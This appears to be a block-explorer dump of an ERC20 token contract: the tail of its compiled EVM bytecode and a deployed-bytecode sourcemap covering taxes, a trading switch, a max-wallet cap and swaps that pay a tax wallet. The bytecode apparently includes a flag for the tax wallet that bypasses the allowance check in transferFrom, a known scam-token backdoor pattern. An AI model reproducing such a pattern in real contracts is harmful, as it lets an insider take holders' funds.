682018060405250810190610772919061164c565b601080546001600160a01b039283166001600160a01b031991821617909155600f805492841692909116821790556107c09030906107b26009600a611627565b6105cb90633b9aca00611635565b600f546001600160a01b031663f305d719473060646107f3826001600160a01b03165f9081526001602052604090205490565b6107fe906062611635565b6108089190611667565b5f8061081b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610881573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a69190611686565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108fb573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091f91906116b1565b50506010805460ff60a81b1916600160a81b179055565b5f61051f338484610b39565b61094a610ae0565b6001600160a01b0381166109b45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61057a816110c5565b6001600160a01b038316610a1f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109ab565b6001600160a01b038216610a805760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109ab565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b031633146105ec5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109ab565b6001600160a01b038316610b9d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109ab565b6001600160a01b038216610bff5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109ab565b5f8111610c605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109ab565b6001600160a01b0383165f9081526003602052604081205460ff16158015610ca057506001600160a01b0383165f9081526003602052604090205460ff16155b15610efa57601054600160a81b900460ff16610cf05760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081cdd185c9d1959081e595d608a1b60448201526064016109ab565b6010546001600160a01b0390811690841603610d3557610d326064610d2c600a5460095410610d2157600854610d25565b6006545b8590611114565b90611192565b90505b6010546001600160a01b038581169116148015610d605750600f546001600160a01b03848116911614155b15610da057610d9d6064610d2c600a5460095f815480929190610d82906116d0565b9190505510610d9357600754610d25565b6005548590611114565b90505b6010546001600160a01b03848116911614610e3a57600d5482610dd7856001600160a01b03165f9081526001602052604090205490565b610de191906116e8565b1115610e3a5760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e6044820152613a1760f11b60648201526084016109ab565b601054600160a01b900460ff16158015610e6157506010546001600160a01b038481169116145b8015610e765750601054600160a81b900460ff165b15610efa57600c54305f908152600160205260409020541115610ec057305f90815260016020526040902054610ec090610ebb90610eb6600e54866111d3565b6111d3565b611203565b47600b546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610ef7573d5f803e3d5ffd5b50505b8015610f7257305f90815260016020526040902054610f19908261137a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f699085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f9490836113d8565b6001600160a01b0385165f90815260016020526040902055610fd7610fb983836113d8565b6001600160a01b0385165f908152600160205260409020549061137a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61102085856113d8565b60405190815260200160405180910390a350505050565b5f8115806110455750816001145b156110bc57838311156110ab5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109ab565b6110b583856116fb565b90506105d4565b505f9392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f0361112357505f610523565b5f61112e8385611635565b90508261113b8583611667565b146105d45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109ab565b5f6105d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e4565b600b546001600160a01b03165f908152600460205260408120600290558183116111fd57826105d4565b50919050565b6010805460ff60a01b1916600160a01b179055801561136a576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124f5761124f61170e565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112ca919061164c565b816001815181106112dd576112dd61170e565b6001600160a01b039283166020918202929092010152600f5461130391309116846109bd565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061133b9085905f90869030904290600401611722565b5f604051808303815f87803b158015611352575f80fd5b505af1158015611364573d5f803e3d5ffd5b50505050505b506010805460ff60a01b19169055565b5f8061138683856116e8565b9050838110156105d45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109ab565b5f6105d483835f611037565b5f81836114045760405162461bcd60e51b81526004016109ab9190611419565b505f6114108486611667565b95945050505050565b5f602080835283518060208501525f5b8181101561144557858101830151858201604001528201611429565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461057a575f80fd5b5f806040838503121561148a575f80fd5b823561149581611465565b946020939093013593505050565b5f805f606084860312156114b5575f80fd5b83356114c081611465565b925060208401356114d081611465565b929592945050506040919091013590565b5f602082840312156114f1575f80fd5b81356105d481611465565b5f806040838503121561150d575f80fd5b823561151881611465565b9150602083013561152881611465565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561158157815f190482111561156757611567611533565b8085161561157457918102915b93841c939080029061154c565b509250929050565b5f8261159757506001610523565b816115a357505f610523565b81600181146115b957600281146115c3576115df565b6001915050610523565b60ff8411156115d4576115d4611533565b50506001821b610523565b5060208310610133831016604e8410600b8410161715611602575081810a610523565b61160c8383611547565b805f190482111561161f5761161f611533565b029392505050565b5f6105d460ff841683611589565b808202811582820484141761052357610523611533565b5f6020828403121561165c575f80fd5b81516105d481611465565b5f8261168157634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f60608486031215611698575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116c1575f80fd5b815180151581146105d4575f80fd5b5f600182016116e1576116e1611533565b5060010190565b8082018082111561052357610523611533565b8181038181111561052357610523611533565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117725784516001600160a01b03168352938301939183019160010161174d565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122064a44450bf0a47a48ca62aaeeca0188969b2d85bd7058dec629ca9c43f08ccce64736f6c63430008180033

Deployed Bytecode Sourcemap

4066:6852:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5831:83;;;;;;;;;;-1:-1:-1;5901:5:0;;;;;;;;;;;;-1:-1:-1;;;5901:5:0;;;;5831:83;;;;;;;:::i;:::-;;;;;;;;6653:161;;;;;;;;;;-1:-1:-1;6653:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6653:161:0;1023:187:1;5081:63:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5081:63:0;1215:177:1;6102:98:0;;;;;;;;;;;;;:::i;10701:111::-;;;;;;;;;;;;;:::i;:::-;;6820:295;;;;;;;;;;-1:-1:-1;6820:295:0;;;;;:::i;:::-;;:::i;4277:47::-;;;;;;;;;;-1:-1:-1;4277:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6013:83;;;;;;;;;;-1:-1:-1;6013:83:0;;4704:1;2252:36:1;;2240:2;2225:18;6013:83:0;2110:184:1;4424:33:0;;;;;;;;;;;;;;;;4555:31;;;;;;;;;;;;;;;;4331:46;;;;;;;;;;-1:-1:-1;4331:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;6206:119;;;;;;;;;;-1:-1:-1;6206:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6299:18:0;6272:7;6299:18;;;:9;:18;;;;;;;6206:119;2796:103;;;;;;;;;;;;;:::i;10818:97::-;;;;;;;;;;;;;:::i;5008:66::-;;;;;;;;;;;;;;;;7468:772;;;;;;;;;;;;;:::i;4509:38::-;;;;;;;;;;;;;;;;2565:87;;;;;;;;;;-1:-1:-1;2611:7:0;2638:6;-1:-1:-1;;;;;2638:6:0;2565:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2565:87:0;2299:203:1;5920:87:0;;;;;;;;;;-1:-1:-1;5992:7:0;;;;;;;;;;;;-1:-1:-1;;;5992:7:0;;;;5920:87;;6331:167;;;;;;;;;;-1:-1:-1;6331:167:0;;;;;:::i;:::-;;:::i;4593:29::-;;;;;;;;;;;;;;;;4938:63;;;;;;;;;;;;;;;;4384:33;;;;;;;;;;;;;;;;6504:143;;;;;;;;;;-1:-1:-1;6504:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6612:18:0;;;6585:7;6612:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6504:143;4464:37;;;;;;;;;;;;;;;;2905:201;;;;;;;;;;-1:-1:-1;2905:201:0;;;;;:::i;:::-;;:::i;4629:33::-;;;;;;;;;;-1:-1:-1;4629:33:0;;;;-1:-1:-1;;;;;4629:33:0;;;6653:161;6728:4;6745:39;379:10;6768:7;6777:6;6745:8;:39::i;:::-;-1:-1:-1;6802:4:0;6653:161;;;;;:::o;6102:98::-;6155:7;4763:13;4704:1;4763:2;:13;:::i;:::-;4750:26;;:10;:26;:::i;:::-;6175:17;;6102:98;:::o;10701:111::-;2526:13;:11;:13::i;:::-;10743:61:::1;::::0;10751:10:::1;::::0;10782:21:::1;10743:61:::0;::::1;;;::::0;::::1;::::0;;;10782:21;10751:10;10743:61;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10701:111::o:0;6820:295::-;6918:4;6935:36;6945:6;6953:9;6964:6;6935:9;:36::i;:::-;379:10;7061:22;;;;:10;:22;;;;;;;;;-1:-1:-1;;;;;7014:19:0;;;;:11;:19;;;;;:33;;;;;;;;;;6983:102;;6992:6;;379:10;;7014:70;;7052:6;;7014:37;:70::i;:::-;6983:8;:102::i;:::-;-1:-1:-1;7103:4:0;6820:295;;;;;;:::o;2796:103::-;2526:13;:11;:13::i;:::-;2861:30:::1;2888:1;2861:18;:30::i;:::-;2796:103::o:0;10818:97::-;2526:13;:11;:13::i;:::-;4763::::1;4704:1;4763:2;:13;:::i;:::-;4750:26;::::0;:10:::1;:26;:::i;:::-;10873:21;:34:::0;10818:97::o;7468:772::-;2526:13;:11;:13::i;:::-;7524:35:::1;7581:42;7524:100;;7670:16;-1:-1:-1::0;;;;;7670:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7652:70:0::1;;7731:4;7738:16;-1:-1:-1::0;;;;;7738:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7652:110;::::0;-1:-1:-1;;;;;;7652:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5292:15:1;;;7652:110:0::1;::::0;::::1;5274:34:1::0;5344:15;;5324:18;;;5317:43;5209:18;;7652:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7636:13;:126:::0;;-1:-1:-1;;;;;7636:126:0;;::::1;-1:-1:-1::0;;;;;;7636:126:0;;::::1;;::::0;;;7773:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;7818:61:::1;::::0;7835:4:::1;::::0;4763:13:::1;4704:1;4763:2;:13;:::i;:::-;4750:26;::::0;:10:::1;:26;:::i;7818:61::-;7891:15;::::0;-1:-1:-1;;;;;7891:15:0::1;:31;7930:21;7975:4;8023:3;7998:24;7975:4:::0;-1:-1:-1;;;;;6299:18:0;6272:7;6299:18;;;:9;:18;;;;;;;6206:119;7998:24:::1;7995:27;::::0;:2:::1;:27;:::i;:::-;:31;;;;:::i;:::-;8041:1;8057::::0;8073:7:::1;2611::::0;2638:6;-1:-1:-1;;;;;2638:6:0;;2565:87;8073:7:::1;7891:230;::::0;::::1;::::0;;;-1:-1:-1;;;;;;7891:230:0;;;-1:-1:-1;;;;;5952:15:1;;;7891:230:0::1;::::0;::::1;5934:34:1::0;5984:18;;;5977:34;;;;6027:18;;;6020:34;;;;6070:18;;;6063:34;6134:15;;;6113:19;;;6106:44;8095:15:0::1;6166:19:1::0;;;6159:35;5868:19;;7891:230:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8139:13:0::1;::::0;8170:15:::1;::::0;8132:71:::1;::::0;-1:-1:-1;;;8132:71:0;;-1:-1:-1;;;;;8170:15:0;;::::1;8132:71;::::0;::::1;6690:51:1::0;-1:-1:-1;;6757:18:1;;;6750:34;8139:13:0;::::1;::::0;-1:-1:-1;8132:29:0::1;::::0;6663:18:1;;8132:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8214:11:0::1;:18:::0;;-1:-1:-1;;;;8214:18:0::1;-1:-1:-1::0;;;8214:18:0::1;::::0;;7468:772::o;6331:167::-;6409:4;6426:42;379:10;6450:9;6461:6;6426:9;:42::i;2905:201::-;2526:13;:11;:13::i;:::-;-1:-1:-1;;;;;2994:22:0;::::1;2986:73;;;::::0;-1:-1:-1;;;2986:73:0;;7279:2:1;2986:73:0::1;::::0;::::1;7261:21:1::0;7318:2;7298:18;;;7291:30;7357:34;7337:18;;;7330:62;-1:-1:-1;;;7408:18:1;;;7401:36;7454:19;;2986:73:0::1;;;;;;;;;3070:28;3089:8;3070:18;:28::i;7127:335::-:0;-1:-1:-1;;;;;7220:19:0;;7212:68;;;;-1:-1:-1;;;7212:68:0;;7686:2:1;7212:68:0;;;7668:21:1;7725:2;7705:18;;;7698:30;7764:34;7744:18;;;7737:62;-1:-1:-1;;;7815:18:1;;;7808:34;7859:19;;7212:68:0;7484:400:1;7212:68:0;-1:-1:-1;;;;;7299:21:0;;7291:68;;;;-1:-1:-1;;;7291:68:0;;8091:2:1;7291:68:0;;;8073:21:1;8130:2;8110:18;;;8103:30;8169:34;8149:18;;;8142:62;-1:-1:-1;;;8220:18:1;;;8213:32;8262:19;;7291:68:0;7889:398:1;7291:68:0;-1:-1:-1;;;;;7370:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7422:32;;1361:25:1;;;7422:32:0;;1334:18:1;7422:32:0;;;;;;;7127:335;;;:::o;2658:132::-;2611:7;2638:6;-1:-1:-1;;;;;2638:6:0;379:10;2722:23;2714:68;;;;-1:-1:-1;;;2714:68:0;;8494:2:1;2714:68:0;;;8476:21:1;;;8513:18;;;8506:30;8572:34;8552:18;;;8545:62;8624:18;;2714:68:0;8292:356:1;8246:1756:0;-1:-1:-1;;;;;8334:18:0;;8326:68;;;;-1:-1:-1;;;8326:68:0;;8855:2:1;8326:68:0;;;8837:21:1;8894:2;8874:18;;;8867:30;8933:34;8913:18;;;8906:62;-1:-1:-1;;;8984:18:1;;;8977:35;9029:19;;8326:68:0;8653:401:1;8326:68:0;-1:-1:-1;;;;;8413:16:0;;8405:64;;;;-1:-1:-1;;;8405:64:0;;9261:2:1;8405:64:0;;;9243:21:1;9300:2;9280:18;;;9273:30;9339:34;9319:18;;;9312:62;-1:-1:-1;;;9390:18:1;;;9383:33;9433:19;;8405:64:0;9059:399:1;8405:64:0;8497:1;8488:6;:10;8480:64;;;;-1:-1:-1;;;8480:64:0;;9665:2:1;8480:64:0;;;9647:21:1;9704:2;9684:18;;;9677:30;9743:34;9723:18;;;9716:62;-1:-1:-1;;;9794:18:1;;;9787:39;9843:19;;8480:64:0;9463:405:1;8480:64:0;-1:-1:-1;;;;;8590:20:0;;8555:17;8590:20;;;:14;:20;;;;;;;;8589:21;:58;;;;-1:-1:-1;;;;;;8629:18:0;;;;;;:14;:18;;;;;;;;8628:19;8589:58;8585:1061;;;8672:11;;-1:-1:-1;;;8672:11:0;;;;8664:39;;;;-1:-1:-1;;;8664:39:0;;10075:2:1;8664:39:0;;;10057:21:1;10114:2;10094:18;;;10087:30;-1:-1:-1;;;10133:18:1;;;10126:45;10188:18;;8664:39:0;9873:339:1;8664:39:0;8727:13;;-1:-1:-1;;;;;8727:13:0;;;8721:19;;;;8718:134;;8771:81;8848:3;8771:72;8795:9;;8782:12;;:22;:60;;8823:19;;8782:60;;;8807:13;;8782:60;8771:6;;:10;:72::i;:::-;:76;;:81::i;:::-;8759:93;;8718:134;8879:13;;-1:-1:-1;;;;;8871:21:0;;;8879:13;;8871:21;:73;;;;-1:-1:-1;8928:15:0;;-1:-1:-1;;;;;8914:30:0;;;8928:15;;8914:30;;8871:73;8867:191;;;8975:83;9054:3;8975:74;9002:9;;8986:12;;:14;;;;;;;;;:::i;:::-;;;;;:25;:62;;9030:18;;8986:62;;;9014:13;;8975:6;;:10;:74::i;:83::-;8963:95;;8867:191;9082:13;;-1:-1:-1;;;;;9076:19:0;;;9082:13;;9076:19;9073:134;;9147:21;;9137:6;9121:13;9131:2;-1:-1:-1;;;;;6299:18:0;6272:7;6299:18;;;:9;:18;;;;;;;6206:119;9121:13;:22;;;;:::i;:::-;:47;;9113:94;;;;-1:-1:-1;;;9113:94:0;;10689:2:1;9113:94:0;;;10671:21:1;10728:2;10708:18;;;10701:30;10767:34;10747:18;;;10740:62;-1:-1:-1;;;10818:18:1;;;10811:32;10860:19;;9113:94:0;10487:398:1;9113:94:0;9227:6;;-1:-1:-1;;;9227:6:0;;;;9226:7;:30;;;;-1:-1:-1;9243:13:0;;-1:-1:-1;;;;;9237:19:0;;;9243:13;;9237:19;9226:30;:45;;;;-1:-1:-1;9260:11:0;;-1:-1:-1;;;9260:11:0;;;;9226:45;9222:413;;;9322:29;;9313:4;6272:7;6299:18;;;:9;:18;;;;;;9295:56;9292:160;;;9411:4;6272:7;6299:18;;;:9;:18;;;;;;9374:78;;9389:62;;9419:31;9423:18;;9443:6;9419:3;:31::i;:::-;9389:3;:62::i;:::-;9374:14;:78::i;:::-;9500:21;9576:10;;9568:51;;-1:-1:-1;;;;;9576:10:0;;;;9597:21;9568:51;;;;;9576:10;9568:51;9576:10;9568:51;9597:21;9576:10;9568:51;;;;;;;;;;;;;;;;;;;;;9273:362;9222:413;9659:13;;9656:163;;9729:4;9711:24;;;;:9;:24;;;;;;:39;;9740:9;9711:28;:39::i;:::-;9704:4;9686:24;;;;:9;:24;;;;;;;:64;;;;9768:39;;-1:-1:-1;;;;;9768:39:0;;;;;;;9797:9;1361:25:1;;1349:2;1334:18;;1215:177;9768:39:0;;;;;;;;9656:163;-1:-1:-1;;;;;9845:15:0;;;;;;:9;:15;;;;;;:27;;9865:6;9845:19;:27::i;:::-;-1:-1:-1;;;;;9829:15:0;;;;;;:9;:15;;;;;:43;9897:40;9915:21;:6;9926:9;9915:10;:21::i;:::-;-1:-1:-1;;;;;9897:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9883:13:0;;;;;;;:9;:13;;;;;:54;;;;9953:41;;;9972:21;:6;9983:9;9972:10;:21::i;:::-;9953:41;;1361:25:1;;;1349:2;1334:18;9953:41:0;;;;;;;8315:1687;8246:1756;;;:::o;1397:273::-;1474:7;1497:14;;;:32;;;1515:9;1528:1;1515:14;1497:32;1494:150;;;1559:1;1554;:6;;1546:59;;;;-1:-1:-1;;;1546:59:0;;11092:2:1;1546:59:0;;;11074:21:1;11131:2;11111:18;;;11104:30;11170:34;11150:18;;;11143:62;-1:-1:-1;;;11221:18:1;;;11214:38;11269:19;;1546:59:0;10890:404:1;1546:59:0;1627:5;1631:1;1627;:5;:::i;:::-;1620:12;;;;1494:150;-1:-1:-1;1661:1:0;1397:273;;;;;:::o;3112:191::-;3186:16;3205:6;;-1:-1:-1;;;;;3222:17:0;;;-1:-1:-1;;;;;;3222:17:0;;;;;;3255:40;;3205:6;;;;;;;3255:40;;3186:16;3255:40;3175:128;3112:191;:::o;1676:246::-;1734:7;1758:1;1763;1758:6;1754:47;;-1:-1:-1;1788:1:0;1781:8;;1754:47;1811:9;1823:5;1827:1;1823;:5;:::i;:::-;1811:17;-1:-1:-1;1856:1:0;1847:5;1851:1;1811:17;1847:5;:::i;:::-;:10;1839:56;;;;-1:-1:-1;;;1839:56:0;;11634:2:1;1839:56:0;;;11616:21:1;11673:2;11653:18;;;11646:30;11712:34;11692:18;;;11685:62;-1:-1:-1;;;11763:18:1;;;11756:31;11804:19;;1839:56:0;11432:397:1;1928:132:0;1986:7;2013:39;2017:1;2020;2013:39;;;;;;;;;;;;;;;;;:3;:39::i;10008:128::-;10088:10;;-1:-1:-1;;;;;10088:10:0;10060:7;10077:22;;;:10;:22;;;;;10102:1;10077:26;;10120:3;;;10119:9;;10127:1;10119:9;;;-1:-1:-1;10125:1:0;10008:128;-1:-1:-1;10008:128:0:o;10142:518::-;5347:6;:13;;-1:-1:-1;;;;5347:13:0;-1:-1:-1;;;5347:13:0;;;10218:27;;10237:7:::1;10218:27;10279:16;::::0;;10293:1:::1;10279:16:::0;;;;;::::1;::::0;;10255:21:::1;::::0;10279:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10279:16:0::1;10255:40;;10324:4;10306;10311:1;10306:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10306:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10350:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10350:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10306:7;;10350:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10340:4;10345:1;10340:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10340:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10415:15:::1;::::0;10383:62:::1;::::0;10400:4:::1;::::0;10415:15:::1;10433:11:::0;10383:8:::1;:62::i;:::-;10456:15;::::0;:196:::1;::::0;-1:-1:-1;;;10456:196:0;;-1:-1:-1;;;;;10456:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10537:11;;10456:15:::1;::::0;10579:4;;10606::::1;::::0;10626:15:::1;::::0;10456:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10207:453;5371:1;-1:-1:-1::0;5383:6:0;:14;;-1:-1:-1;;;;5383:14:0;;;10142:518::o;1101:179::-;1159:7;;1191:5;1195:1;1191;:5;:::i;:::-;1179:17;;1220:1;1215;:6;;1207:46;;;;-1:-1:-1;;;1207:46:0;;13285:2:1;1207:46:0;;;13267:21:1;13324:2;13304:18;;;13297:30;13363:29;13343:18;;;13336:57;13410:18;;1207:46:0;13083:351:1;1286:105:0;1344:7;1371:12;1375:1;1378;1381;1371:3;:12::i;2066:189::-;2152:7;2187:12;2180:5;2172:28;;;;-1:-1:-1;;;2172:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2211:9:0;2223:5;2227:1;2223;:5;:::i;:::-;2211:17;2066:189;-1:-1:-1;;;;;2066:189:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3124:127::-;3185:10;3180:3;3176:20;3173:1;3166:31;3216:4;3213:1;3206:15;3240:4;3237:1;3230:15;3256:416;3345:1;3382:5;3345:1;3396:270;3417:7;3407:8;3404:21;3396:270;;;3476:4;3472:1;3468:6;3464:17;3458:4;3455:27;3452:53;;;3485:18;;:::i;:::-;3535:7;3525:8;3521:22;3518:55;;;3555:16;;;;3518:55;3634:22;;;;3594:15;;;;3396:270;;;3400:3;3256:416;;;;;:::o;3677:806::-;3726:5;3756:8;3746:80;;-1:-1:-1;3797:1:1;3811:5;;3746:80;3845:4;3835:76;;-1:-1:-1;3882:1:1;3896:5;;3835:76;3927:4;3945:1;3940:59;;;;4013:1;4008:130;;;;3920:218;;3940:59;3970:1;3961:10;;3984:5;;;4008:130;4045:3;4035:8;4032:17;4029:43;;;4052:18;;:::i;:::-;-1:-1:-1;;4108:1:1;4094:16;;4123:5;;3920:218;;4222:2;4212:8;4209:16;4203:3;4197:4;4194:13;4190:36;4184:2;4174:8;4171:16;4166:2;4160:4;4157:12;4153:35;4150:77;4147:159;;;-1:-1:-1;4259:19:1;;;4291:5;;4147:159;4338:34;4363:8;4357:4;4338:34;:::i;:::-;4408:6;4404:1;4400:6;4396:19;4387:7;4384:32;4381:58;;;4419:18;;:::i;:::-;4457:20;;3677:806;-1:-1:-1;;;3677:806:1:o;4488:140::-;4546:5;4575:47;4616:4;4606:8;4602:19;4596:4;4575:47;:::i;4633:168::-;4706:9;;;4737;;4754:15;;;4748:22;;4734:37;4724:71;;4775:18;;:::i;4806:251::-;4876:6;4929:2;4917:9;4908:7;4904:23;4900:32;4897:52;;;4945:1;4942;4935:12;4897:52;4977:9;4971:16;4996:31;5021:5;4996:31;:::i;5371:217::-;5411:1;5437;5427:132;;5481:10;5476:3;5472:20;5469:1;5462:31;5516:4;5513:1;5506:15;5544:4;5541:1;5534:15;5427:132;-1:-1:-1;5573:9:1;;5371:217::o;6205:306::-;6293:6;6301;6309;6362:2;6350:9;6341:7;6337:23;6333:32;6330:52;;;6378:1;6375;6368:12;6330:52;6407:9;6401:16;6391:26;;6457:2;6446:9;6442:18;6436:25;6426:35;;6501:2;6490:9;6486:18;6480:25;6470:35;;6205:306;;;;;:::o;6795:277::-;6862:6;6915:2;6903:9;6894:7;6890:23;6886:32;6883:52;;;6931:1;6928;6921:12;6883:52;6963:9;6957:16;7016:5;7009:13;7002:21;6995:5;6992:32;6982:60;;7038:1;7035;7028:12;10217:135;10256:3;10277:17;;;10274:43;;10297:18;;:::i;:::-;-1:-1:-1;10344:1:1;10333:13;;10217:135::o;10357:125::-;10422:9;;;10443:10;;;10440:36;;;10456:18;;:::i;11299:128::-;11366:9;;;11387:11;;;11384:37;;;11401:18;;:::i;11966:127::-;12027:10;12022:3;12018:20;12015:1;12008:31;12058:4;12055:1;12048:15;12082:4;12079:1;12072:15;12098:980;12360:4;12408:3;12397:9;12393:19;12439:6;12428:9;12421:25;12465:2;12503:6;12498:2;12487:9;12483:18;12476:34;12546:3;12541:2;12530:9;12526:18;12519:31;12570:6;12605;12599:13;12636:6;12628;12621:22;12674:3;12663:9;12659:19;12652:26;;12713:2;12705:6;12701:15;12687:29;;12734:1;12744:195;12758:6;12755:1;12752:13;12744:195;;;12823:13;;